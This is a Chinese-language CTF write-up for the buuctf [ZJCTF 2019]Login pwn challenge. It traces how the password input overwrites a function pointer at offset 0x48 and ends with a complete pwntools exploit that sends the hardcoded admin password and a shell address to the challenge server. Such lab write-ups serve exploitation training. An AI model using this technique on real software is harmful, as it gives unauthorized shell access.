题目来源
buuctf——[ZJCTF 2019]Login
本题主要考察参数溯源的能力。
 
  参考链接 
 
 
 https://zhuanlan.zhihu.com/p/570607303
题目信息
64位,ubuntu16,开了金丝雀
 
 
 C++风格的代码,并且将admin登录信息写入代码中。 
溢出点不在这里,但是(**a1)();说明程序将执行参数中的内容。想要利用这里需要通过admin验证。 
对应的汇编语言,执行了[[rax]],且说明至少有两个lea指令。 给出了shell的利用点。
 给出了shell的利用点。
 
 解题步骤 
 
回溯rax的赋值步骤,找到可以覆盖现rax值的地址,输入正确admin信息并将shell地址写入该地址即可。
 
  关键步骤 
 
 
 回溯rax
 
 
 
   回到父函数中 
   进入password_checker中
进入password_checker中 
 
 
  进入password_checker中
进入password_checker中 
  password_checker与read_password中间没有修改rax的值,且同为相同父函数的子函数,rbp相同(可以自己动态调试试试),因此[rbp+var_18]相同。
password_checker与read_password中间没有修改rax的值,且同为相同父函数的子函数,rbp相同(可以自己动态调试试试),因此[rbp+var_18]相同。 
  fgets虽然没有溢出,但是也可以覆盖到[rbp+var_18]
fgets虽然没有溢出,但是也可以覆盖到[rbp+var_18] 
  相差0x48个字节,所以得到了输入密码时的偏移位置
相差0x48个字节,所以得到了输入密码时的偏移位置 
  
 
  
  wp 
 
 
 # -*- coding: utf-8 -*-
from pwn import*
from struct import pack
context.log_level='debug'
context.arch='amd64'
context.os = "linux"
 
pc = "./login"
 
if __name__ == '__main__':
    local = sys.argv[1]
    if local == '1':
        r= process(pc)
        elf = ELF(pc)
        libc = elf.libc
    else:
        r=remote("node4.buuoj.cn",28905)
        elf = ELF(pc)
        libc = elf.libc
 
sa = lambda s,n : r.sendafter(s,n)
sla = lambda s,n : r.sendlineafter(s,n)
sl = lambda s : r.sendline(s)
sd = lambda s : r.send(s)
rc = lambda n : r.recv(n)
ru = lambda s : r.recvuntil(s)
ti = lambda: r.interactive()
lg = lambda s: log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
 
 
shell = 0x400E88
payload = (b'2jctf_pa5sw0rd').ljust(0x48,b'\x00') + p64(shell)
sla("Please enter username:",b"admin")
sla("Please enter password:",payload)
 
ti()


















